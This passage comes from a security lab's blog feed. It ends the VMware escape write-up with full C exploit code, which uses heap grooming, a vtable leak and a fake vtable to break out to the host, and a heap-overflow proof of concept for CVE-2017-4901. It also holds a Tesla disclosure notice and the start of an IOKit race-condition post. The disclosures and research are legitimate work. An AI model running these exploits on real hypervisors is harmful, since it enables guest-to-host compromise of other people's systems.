class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> *initial_dnd = <span class="string">&quot;tools.capability.dnd_version 4&quot;</span>;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">int</span> cbObj = <span class="number">0x100</span>;</span><br><span class="line"><span class="type">char</span> *second_dnd = <span class="string">&quot;tools.capability.dnd_version 2&quot;</span>;</span><br><span class="line"><span class="type">char</span> *chgver = <span class="string">&quot;vmx.capability.dnd_version&quot;</span>;</span><br><span class="line"><span class="type">char</span> *call_transport = <span class="string">&quot;dnd.transport &quot;</span>;</span><br><span class="line"><span class="type">char</span> *readstring = <span class="string">&quot;ToolsAutoInstallGetParams&quot;</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">DnDCPMsgHdrV4</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">char</span> magic[<span class="number">14</span>];</span><br><span class="line">    <span class="type">char</span> dummy[<span class="number">2</span>];</span><br><span class="line">    <span class="type">size_t</span> ropper[<span class="number">13</span>];</span><br><span class="line">    <span class="type">char</span> shellcode[<span class="number">175</span>];</span><br><span class="line">    <span class="type">char</span> padding[<span class="number">0x80</span>];</span><br><span class="line">&#125; DnDCPMsgHdrV4;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">PrepareLFH</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> *result = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="type">char</span> *pObj = <span class="built_in">malloc</span>(cbObj);</span><br><span class="line">    <span class="built_in">memset</span>(pObj, <span class="string">&#x27;A&#x27;</span>, cbObj);</span><br><span class="line">    pObj[cbObj - <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> idx = <span class="number">0</span>; idx &lt; <span class="number">1</span>; ++idx) <span class="comment">// just occupy 1</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">char</span> *spary = stringf(<span class="string">&quot;info-set guestinfo.k%d %s&quot;</span>, idx, pObj);</span><br><span class="line">        RpcOut_SendOneRaw(spary, <span class="built_in">strlen</span>(spary), &amp;result, <span class="literal">NULL</span>); <span class="comment">//alloc one to occupy 4</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">free</span>(pObj);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> <span class="title function_">infoleak</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MAX_LFH_BLOCK 512</span></span><br><span class="line">    Message_Channel *chans[<span class="number">5</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; ++i)</span><br><span class="line">    &#123;</span><br><span class="line">        chans[i] = Message_Open(<span class="number">0x49435052</span>);</span><br><span class="line">        <span class="keyword">if</span> (chans[i])</span><br><span class="line">        &#123;</span><br><span class="line">            Message_SendSize(chans[i], cbObj - <span class="number">1</span>); <span class="comment">//just alloc</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            Message_Close(chans[i - <span class="number">1</span>]); <span class="comment">//keep 1 channel valid</span></span><br><span class="line">            chans[i - <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    PrepareLFH(); <span class="comment">//make sure we have at least 7 hole or open and occupy next LFH block</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; ++i)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (chans[i])</span><br><span class="line">        &#123;</span><br><span class="line">            Message_Close(chans[i]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> *result = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="type">char</span> *pObj = <span class="built_in">malloc</span>(cbObj);</span><br><span class="line">    <span class="built_in">memset</span>(pObj, <span class="string">&#x27;A&#x27;</span>, cbObj);</span><br><span class="line">    pObj[cbObj - <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="type">char</span> *spary2 = stringf(<span class="string">&quot;guest.upgrader_send_cmd_line_args %s&quot;</span>, pObj);</span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; MAX_LFH_BLOCK; ++i)</span><br><span class="line">        &#123;</span><br><span class="line">            RpcOut_SendOneRaw(tov4, <span class="built_in">strlen</span>(tov4), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">            RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">            RpcOut_SendOneRaw(tov2, <span class="built_in">strlen</span>(tov2), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">            RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; MAX_LFH_BLOCK; ++i)</span><br><span class="line">        &#123;</span><br><span class="line">            Message_Channel *chan = Message_Open(<span class="number">0x49435052</span>);</span><br><span class="line">            <span class="keyword">if</span> (chan == <span class="literal">NULL</span>)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="built_in">puts</span>(<span class="string">&quot;Message send error!&quot;</span>);</span><br><span class="line">                Sleep(<span class="number">100</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">                Message_SendSize(chan, cbObj - <span class="number">1</span>);</span><br><span class="line">                Message_RawSend(chan, <span class="string">&quot;\xA0\x75&quot;</span>, <span class="number">2</span>); <span class="comment">//just ret</span></span><br><span class="line">                Message_Close(chan);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        Message_Channel *chan = Message_Open(<span class="number">0x49435052</span>);</span><br><span class="line">        Message_SendSize(chan, cbObj - <span class="number">1</span>);</span><br><span class="line">        Message_RawSend(chan, <span class="string">&quot;\xA0\x74&quot;</span>, <span class="number">2</span>);                                 <span class="comment">//free</span></span><br><span class="line">        RpcOut_SendOneRaw(dndtransport, <span class="built_in">strlen</span>(dndtransport), &amp;result, <span class="literal">NULL</span>); <span class="comment">//trigger double free</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; min(cbObj<span class="number">-3</span>,MAX_LFH_BLOCK); ++i)</span><br><span class="line">        &#123;</span><br><span class="line">            RpcOut_SendOneRaw(spary2, <span class="built_in">strlen</span>(spary2), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">            Message_RawSend(chan, <span class="string">&quot;B&quot;</span>, <span class="number">1</span>);</span><br><span class="line">            RpcOut_SendOneRaw(readstring, <span class="built_in">strlen</span>(readstring), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">            <span class="keyword">if</span> (result[<span class="number">0</span>] == <span class="string">&#x27;A&#x27;</span> &amp;&amp; result[<span class="number">1</span>] == <span class="string">&#x27;A&#x27;</span> &amp;&amp; <span class="built_in">strcmp</span>(result, pObj))</span><br><span class="line">            &#123;</span><br><span class="line">               Message_Close(chan); <span class="comment">//free the string</span></span><br><span class="line">                <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; MAX_LFH_BLOCK; ++i)</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="built_in">puts</span>(<span class="string">&quot;Trying to leak vtable&quot;</span>);</span><br><span class="line">                    RpcOut_SendOneRaw(tov4, <span class="built_in">strlen</span>(tov4), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">                    RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">                    RpcOut_SendOneRaw(readstring, <span class="built_in">strlen</span>(readstring), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">                    <span class="type">size_t</span> p = <span class="number">0</span>;</span><br><span class="line">                    <span class="keyword">if</span> (result)</span><br><span class="line">                    &#123;</span><br><span class="line">                        <span class="built_in">memcpy</span>(&amp;p, result, min(<span class="built_in">strlen</span>(result), <span class="number">8</span>));</span><br><span class="line">                        <span class="built_in">printf</span>(<span class="string">&quot;Leak content: %p\n&quot;</span>, p);</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="type">size_t</span> low = p &amp; <span class="number">0xFFFF</span>;</span><br><span class="line">                    <span class="keyword">if</span> (low == <span class="number">0x74A8</span> || <span class="comment">//RpcBase</span></span><br><span class="line">                        low == <span class="number">0x74d0</span> || <span class="comment">//CpV4</span></span><br><span class="line">                        low == <span class="number">0x7630</span>)   <span class="comment">//DnDV4</span></span><br><span class="line">                    &#123;</span><br><span class="line">                        <span class="built_in">printf</span>(<span class="string">&quot;vmware-vmx base: %p\n&quot;</span>, (p &amp; (~<span class="number">0xFFFF</span>)) - <span class="number">0x7a0000</span>);</span><br><span class="line">                        <span class="keyword">return</span> (p &amp; (~<span class="number">0xFFFF</span>)) - <span class="number">0x7a0000</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                    RpcOut_SendOneRaw(tov2, <span class="built_in">strlen</span>(tov2), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">                    RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        Message_Close(chan);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">exploit</span><span class="params">(<span class="type">size_t</span> base)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> *result = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="type">char</span> *uptime_info = stringf(<span class="string">&quot;SetGuestInfo -7-%I64u&quot;</span>, <span class="number">0x41414141</span>);</span><br><span class="line">    <span class="type">char</span> *pObj = <span class="built_in">malloc</span>(cbObj);</span><br><span class="line">    <span class="built_in">memset</span>(pObj, <span class="number">0</span>, cbObj);</span><br><span class="line"></span><br><span class="line">    DnDCPMsgHdrV4 *hdr = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(DnDCPMsgHdrV4));</span><br><span class="line">    <span class="built_in">memset</span>(hdr, <span class="number">0</span>, <span class="keyword">sizeof</span>(DnDCPMsgHdrV4));</span><br><span class="line">    <span class="built_in">memcpy</span>(hdr-&gt;magic, call_transport, <span class="built_in">strlen</span>(call_transport));</span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        RpcOut_SendOneRaw(second_dnd, <span class="built_in">strlen</span>(second_dnd), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; MAX_LFH_BLOCK; ++i)</span><br><span class="line">        &#123;</span><br><span class="line">            Message_Channel *chan = Message_Open(<span class="number">0x49435052</span>);</span><br><span class="line">            Message_SendSize(chan, cbObj - <span class="number">1</span>);</span><br><span class="line">            <span class="type">size_t</span> fake_vtable[] = &#123;</span><br><span class="line">                base + <span class="number">0xB87340</span>,</span><br><span class="line">                base + <span class="number">0xB87340</span>,</span><br><span class="line">                base + <span class="number">0xB87340</span>,</span><br><span class="line">                base + <span class="number">0xB87340</span>&#125;;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">memcpy</span>(pObj, &amp;fake_vtable, <span class="keyword">sizeof</span>(<span class="type">size_t</span>) * <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">            Message_RawSend(chan, pObj, <span class="keyword">sizeof</span>(<span class="type">size_t</span>) * <span class="number">4</span>);</span><br><span class="line">            Message_Close(chan);</span><br><span class="line">        &#125;</span><br><span class="line">        RpcOut_SendOneRaw(uptime_info, <span class="built_in">strlen</span>(uptime_info), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        RpcOut_SendOneRaw(hdr, <span class="keyword">sizeof</span>(DnDCPMsgHdrV4), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        <span class="comment">//check pwn success?</span></span><br><span class="line">        RpcOut_SendOneRaw(readstring, <span class="built_in">strlen</span>(readstring), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        <span class="keyword">if</span> (*(<span class="type">size_t</span> *)result == <span class="number">0xdeadbeefc0debabe</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="built_in">puts</span>(<span class="string">&quot;VMware escape success! \nPwned by KeenLab, Tencent&quot;</span>);</span><br><span class="line">            RpcOut_SendOneRaw(initial_dnd, <span class="built_in">strlen</span>(initial_dnd), &amp;result, <span class="literal">NULL</span>);<span class="comment">//fix dnd to callable prevent vmtoolsd problem</span></span><br><span class="line">            RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//host dndv4 fill in, try to clean up and free again</span></span><br><span class="line">        Sleep(<span class="number">100</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Object wrong! Retry...&quot;</span>);</span><br><span class="line">        RpcOut_SendOneRaw(initial_dnd, <span class="built_in">strlen</span>(initial_dnd), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">        RpcOut_SendOneRaw(chgver, <span class="built_in">strlen</span>(chgver), &amp;result, <span class="literal">NULL</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> ret = <span class="number">1</span>;</span><br><span class="line">    __try</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">while</span> (<span class="number">1</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="type">size_t</span> base = <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">do</span></span><br><span class="line">            &#123;</span><br><span class="line">                <span class="built_in">puts</span>(<span class="string">&quot;Leaking...&quot;</span>);</span><br><span class="line">                base = infoleak();</span><br><span class="line">            &#125; <span class="keyword">while</span> (!base);</span><br><span class="line">            <span class="built_in">puts</span>(<span class="string">&quot;Pwning...&quot;</span>);</span><br><span class="line">            exploit(base);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    __except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, NOT_VMWARE_ERROR);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="CVE-2017-4901-DnDv3-HeapOverflow"><a href="#CVE-2017-4901-DnDv3-HeapOverflow" class="headerlink" title="CVE-2017-4901 DnDv3 HeapOverflow"></a>CVE-2017-4901 DnDv3 HeapOverflow</h2><blockquote><p>The drag-and-drop (DnD) function in VMware Workstation and Fusion has an out-of-bounds memory access vulnerability. This may allow a guest to execute code on the operating system that runs Workstation or Fusion.</p><footer><strong>VMware Workstation and Fusion updates address out-of-bounds memory access vulnerability</strong><cite><a href="https://www.vmware.com/security/advisories/VMSA-2017-0005.html">www.vmware.com/security/advisories/VMSA-2017-0005.html</a></cite></footer></blockquote><p>After VMware released 12.5.3, we continued auditing the DnD and finally found another heap overflow bug similar to CVE-2016-7461. This bug was known by almost every participants of VMware category in Pwn2own 2017. Here we present the PoC of this bug.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">poc</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> n;</span><br><span class="line">    <span class="type">char</span> *req1 = <span class="string">&quot;tools.capability.dnd_version 3&quot;</span>;</span><br><span class="line">    <span class="type">char</span> *req2 = <span class="string">&quot;vmx.capability.dnd_version&quot;</span>;</span><br><span class="line">    RpcOut_SendOneRaw(req1, <span class="built_in">strlen</span>(req1), <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">    RpcOut_SendOneRaw(req2, <span class="built_in">strlen</span>(req2), <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> req3[<span class="number">0x80</span>] = <span class="string">&quot;dnd.transport &quot;</span>;</span><br><span class="line">    n = <span class="built_in">strlen</span>(req3);</span><br><span class="line">    *(<span class="type">int</span>*)(req3+n) = <span class="number">3</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req3+n+<span class="number">4</span>) = <span class="number">0</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req3+n+<span class="number">8</span>) = <span class="number">0x100</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req3+n+<span class="number">0xc</span>) = <span class="number">0</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req3+n+<span class="number">0x10</span>) = <span class="number">0</span>;</span><br><span class="line">    <span class="comment">// allocate buffer of 0x100 bytes</span></span><br><span class="line">    RpcOut_SendOneRaw(req3, n+<span class="number">0x14</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> req4[<span class="number">0x1000</span>] = <span class="string">&quot;dnd.transport &quot;</span>;</span><br><span class="line">    n = <span class="built_in">strlen</span>(req4);</span><br><span class="line">    *(<span class="type">int</span>*)(req4+n) = <span class="number">3</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req4+n+<span class="number">4</span>) = <span class="number">0</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req4+n+<span class="number">8</span>) = <span class="number">0x1000</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req4+n+<span class="number">0xc</span>) = <span class="number">0x800</span>;</span><br><span class="line">    *(<span class="type">int</span>*)(req4+n+<span class="number">0x10</span>) = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x800</span>; ++i)</span><br><span class="line">        req4[n+<span class="number">0x14</span>+i] = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line">    <span class="comment">// overflow with 0x800 bytes of &#x27;A&#x27;</span></span><br><span class="line">    RpcOut_SendOneRaw(req4, n+<span class="number">0x14</span>+<span class="number">0x800</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="Conclusions"><a href="#Conclusions" class="headerlink" title="Conclusions"></a>Conclusions</h1><p>In this article we presented several VMware bugs leading to guest to host virtual machine escape.<br>We hope to have demonstrated that not only VM breakouts are possible and real, but also that a determined attacker can achieve multiple of them, and with good reliability.<br>We feel that in our industry there is the misconception that if untrusted software runs inside a VM, then we will be safe.<br>Think about the malware industry, which heavily relies on VMs for analysis, or the entire cloud which basically runs on hypervisors.<br>For sure it’s an additional protection layer, raising the bar for an attacker to get full compromise, so it’s a very good practice to adopt it.<br>But we must not forget that essentially it’s just another “layer of sandboxing” which can be bypassed or escaped.<br>So great care must be taken to secure also this security layer.</p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Background&quot;&gt;&lt;a href=&quot;#Background&quot; class=&quot;headerlink&quot; title=&quot;Background&quot;&gt;&lt;/a&gt;Background&lt;/h1&gt;&lt;p&gt;VMware is one of the leaders in virtualization nowadays. They offer VMware ESXi for cloud, and VMware Workstation and Fusion for Desktops (Windows, Linux, macOS).&lt;br&gt;The technology is very well known to the public: it allows users to run unmodified guest “virtual machines”.&lt;br&gt;Often those virtual machines are not trusted, and they must be isolated.&lt;br&gt;VMware goes to a great deal to offer this isolation, especially on the ESXi product where virtual machines of different actors can potentially run on the same hardware. So a strong isolation of is paramount importance.&lt;/p&gt;
&lt;p&gt;Recently at Pwn2Own the “Virtualization” category was introduced, and VMware was among the targets since Pwn2Own 2016.&lt;/p&gt;
&lt;p&gt;In 2017 we successfully demonstrated a VMware escape from a guest to the host from a unprivileged account, resulting in executing code on the host, breaking out of the virtual machine.&lt;/p&gt;
&lt;p&gt;If you escape your virtual machine environment then all isolation assurances are lost, since you are running code on the host, which controls the guests.&lt;/p&gt;</summary>
    
    
    
    
    <category term="Virtualization" scheme="http://keenlab.tencent.com/en/tags/Virtualization/"/>
    
  </entry>
  
  <entry>
    <title>New Car Hacking Research: 2017, Remote Attack Tesla Motors Again</title>
    <link href="http://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/"/>
    <id>http://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/</id>
    <published>2017-07-27T13:22:42.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<p>Keen Lab discovered new security vulnerabilities on Tesla motors and realized full attack chain to implement arbitrary CAN BUS and ECUs remote controls on Tesla motors with latest firmware. </p><p>Several highlights for 2017 Tesla Research:</p><ul><li>Realized full attack chain as we did in year 2016 to implement arbitrary CAN BUS and ECUs remote controls.</li><li>Discovered multiple 0Days in different modules. Currently, Keen Lab is working with Tesla and related manufactures on assigning CVE number of the vulnerabilities. </li><li>Tesla implemented a new security mechanism “code signing” to do signature integrity check of system firmware that will be FOTAed to Tesla motors in Sept 2016. The code signing was bypassed by Keen Lab.</li><li>The “Group lighting show of Model X” in our demonstration is technically arbitrary remote controls on multiple ECUs at the same time. It shows Keen Lab’s research capability on CAN BUS and ECUs.</li></ul><p>Keen Lab has followed “responsible disclosure” process to reported all security vulnerabilities and related exploitations to Tesla. Tesla Product Security Team has verified and confirmed all the bugs in our report. Security patches have been made and updated to motors via FOTA efficiently in July. The reported issues affect multiple models of Tesla motors. Based on Tesla’s report, most of the active Tesla motors have been updated to new firmware with patches via FOTA. We appreciate Tesla Product Security Team for their quick response, quick fix and efficient patching via FOTA. </p><p>Reminder to Tesla car owners: Please check if your car is with the firmware version 8.1 (17.26.0) or later. If NOT, please upgrade to the latest firmware to ensure all the issues are fixed. </p><p>The video below demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOT TRY THIS AT HOME. Appreciate Tencent Auto for the contributions on publishing this demonstration. </p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Keen Lab discovered new security vulnerabilities on Tesla motors and realized full attack chain to implement arbitrary CAN BUS and ECUs r</summary>
      
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>Racing for everyone: descriptor describes TOCTOU in Apple&#39;s core</title>
    <link href="http://keenlab.tencent.com/en/2017/01/09/Racing-for-everyone-descriptor-describes-TOCTOU-in-Apple-s-core/"/>
    <id>http://keenlab.tencent.com/en/2017/01/09/Racing-for-everyone-descriptor-describes-TOCTOU-in-Apple-s-core/</id>
    <published>2017-01-09T07:07:42.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p>This blog post is about a new type of vulnerabilities in IOKit I discovered and submitted to Apple in 2016. I did a brief scan using a IDA script on MacOS and found at least four bugs with 3 CVEs assigned (CVE-2016-7620&#x2F;4&#x2F;5), see <a href="https://support.apple.com/kb/HT207423">https://support.apple.com/kb/HT207423</a>. I was told afterwards that there’re even more issues of this type on iOS’&#x2F;OSX’s IOKit drivers and fortunately Apple fixed them also.</p><span id="more"></span><h2 id="Lecture-time-IOKit-revisited"><a href="#Lecture-time-IOKit-revisited" class="headerlink" title="Lecture time: IOKit revisited"></a>Lecture time: IOKit revisited</h2><p>Recall the old userspace iokit call entry method:</p><pre><code>1709 kern_return_t1710 IOConnectCallMethod(1711    mach_port_t  connection,        // In1712    uint32_t     selector,      // In1713    const uint64_t  *input,         // In1714    uint32_t     inputCnt,      // In1715    const void  *inputStruct,       // In1716    size_t       inputStructCnt,    // In1717    uint64_t    *output,        // Out1718    uint32_t    *outputCnt,     // In/Out1719    void        *outputStruct,      // Out1720    size_t      *outputStructCntP)  // In/Out1721 &#123;//...1736     if (inputStructCnt &lt;= sizeof(io_struct_inband_t)) &#123;1737    inb_input      = (void *) inputStruct;1738    inb_input_size = (mach_msg_type_number_t) inputStructCnt;1739     &#125;1740     else &#123;1741    ool_input      = reinterpret_cast_mach_vm_address_t(inputStruct);1742    ool_input_size = inputStructCnt;1743     &#125;1744 //...1770    else if (size &lt;= sizeof(io_struct_inband_t)) &#123;1771        inb_output      = outputStruct;1772        inb_output_size = (mach_msg_type_number_t) size;1773    &#125;1774    else &#123;1775        ool_output      = reinterpret_cast_mach_vm_address_t(outputStruct);1776        ool_output_size = (mach_vm_size_t)    size;1777    &#125;1778     &#125;1779 1780     rtn = io_connect_method(connection,         selector,1781                (uint64_t *) input, inputCnt,1782                inb_input,          inb_input_size,1783                ool_input,          ool_input_size,1784                inb_output,         &amp;inb_output_size,1785                output,             outputCnt,1786                ool_output,         &amp;ool_output_size);1787 //...1795     return rtn;1796 &#125;</code></pre><p>If the inputstruct is larger than <code>sizeof(io_struct_inband_t)</code>, the passed in argument will be casted to a <code>mach_vm_address_t</code>, otherwise just a native pointer.</p><h2 id="Is-this-one-race-able-No-Is-that-one-race-able"><a href="#Is-this-one-race-able-No-Is-that-one-race-able" class="headerlink" title="Is this one race-able? No? Is that one race-able?"></a>Is this one race-able? No? Is that one race-able?</h2><p>For a curious mind one would like to ask, if there exists any possibility that this can be modified to lead to TOCOU? Historical vulnerabilities focuses on racing memories shared via IOConnectMapMemory, whose meaning is very obvious according to this name (see <a href="http://blog.pangu.io/cve-2014-4461/">Pangu’s</a> and <a href="https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=IOConnectMapMemory&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids">Ian Beer</a>‘s ) research), however these kinds of vulns are mostly eliminated now.</p><p>Eyes turned to these simple and naive IOKit arguments, are these benign little spirits even race-able?</p><p>Lets see how these arguments are passed from userspace to kernel space.</p><p>In MIG trap defs and generated code, different input types are dealt in different ways.</p><pre><code>601602routine io_connect_method(603     connection      : io_connect_t;604 in  selector        : uint32_t;605606 in  scalar_input    : io_scalar_inband64_t;607 in  inband_input    : io_struct_inband_t;608 in  ool_input       : mach_vm_address_t;609 in  ool_input_size  : mach_vm_size_t;610611 out inband_output   : io_struct_inband_t, CountInOut;612 out scalar_output   : io_scalar_inband64_t, CountInOut;613 in  ool_output      : mach_vm_address_t;614 inout ool_output_size   : mach_vm_size_t615 );616</code></pre><p>The following code is generated:</p><pre><code>/* Routine io_connect_method */mig_external kern_return_t io_connect_method(    mach_port_t connection,    uint32_t selector,    io_scalar_inband64_t scalar_input,    mach_msg_type_number_t scalar_inputCnt,    io_struct_inband_t inband_input,    mach_msg_type_number_t inband_inputCnt,    mach_vm_address_t ool_input,    mach_vm_size_t ool_input_size,    io_struct_inband_t inband_output,    mach_msg_type_number_t *inband_outputCnt,    io_scalar_inband64_t scalar_output,    mach_msg_type_number_t *scalar_outputCnt,    mach_vm_address_t ool_output,    mach_vm_size_t *ool_output_size)&#123;//...    (void)memcpy((char *) InP-&gt;scalar_input, (const char *) scalar_input, 8 * scalar_inputCnt);//...    if (inband_inputCnt &gt; 4096) &#123;        &#123; return MIG_ARRAY_TOO_LARGE; &#125;    &#125;    (void)memcpy((char *) InP-&gt;inband_input, (const char *) inband_input, inband_inputCnt);//...    InP-&gt;ool_input = ool_input;    InP-&gt;ool_input_size = ool_input_size;</code></pre><p>OK, 